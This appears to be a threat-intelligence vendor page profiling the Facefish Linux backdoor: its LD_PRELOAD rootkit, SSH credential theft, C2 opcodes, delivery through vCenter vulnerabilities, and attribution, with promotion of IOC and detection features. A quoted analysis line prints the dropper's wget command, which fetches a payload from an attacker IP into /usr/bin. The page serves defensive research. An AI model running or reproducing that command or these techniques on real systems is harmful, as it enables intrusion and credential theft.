Loading malware…
Facefish is a Linux backdoor associated with a multi-component intrusion set comprising a dropper and an LD_PRELOAD-based userland rootkit. It has been observed targeting 64-bit Linux systems, particularly OpenSSH environments, and includes logic to adapt its rootkit component for FreeBSD. The malware installs a shared library rootkit through the dynamic loader preload mechanism, restarts SSH services to ensure the malicious library is loaded into sshd, and uses anti-forensic measures to remove traces of installation activity. Facefish is designed to intercept SSH authentication activity by hooking functions in ssh and sshd, enabling theft of login credentials and related session context. It also profiles compromised hosts by collecting system and SSH-related information, and supports command-and-control functionality for arbitrary command execution, reverse shell access, and renewed host reconnaissance. Communications are protected with negotiated cryptography, including Diffie-Hellman key exchange and Blowfish-encrypted traffic, and the malware incorporates anti-analysis and defense-evasion features such as packing, stripped or erased ELF metadata, and per-deployment re-encryption of embedded configuration to vary resulting artifacts across infections. Facefish has been delivered through exploitation of internet-facing management software, including VMware vCenter vulnerabilities CVE-2021-21972 and CVE-2021-22005 via web-shell deployment, and has also been linked to exploitation of Control Web Panel vulnerabilities. It has been reported in operations attributed to the hacktivist group Twelve and is also referenced as an earlier iteration in a lineage that includes Kitsune and Megatsune.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. ... the latter is an arbitrary file upload vulnerability in the server. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. The former vulnerability can be found in the platform’s client and allows remote code execution. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
...prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023).
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Accept command 0x302, reverse shell. | Accept command 0x310, execute any system command Send instruction 0x311 to return the result of bash execution
we discovered a large number of web shells... All the web shells were written in PHP and bore random names
bot sends 0x305 command to C2... receives and decrypts a C2 command, and then disconnects the TCP connection.
the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins;
22 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
4 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Backdoor loaded via a web shell on VMware vCenter; it saves a shared library, injects it into the sshd process using ld.so.preload, and restarts SSH to maintain covert access.
Earlier iteration of the PUMAKIT kernel rootkit lineage.
Backdoor dropped after exploitation of VMware vCenter vulnerabilities, used to maintain unauthorized access to victim environments.
Facefish is a Linux-targeting malware consisting of a dropper and a userland rootkit loaded via LD_PRELOAD. It steals SSH/OpenSSH credentials by hooking ssh/sshd-related functions, uploads host/device information, provides reverse shell capability, and executes arbitrary commands via C2 using Diffie-Hellman key exchange and Blowfish-encrypted communications.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.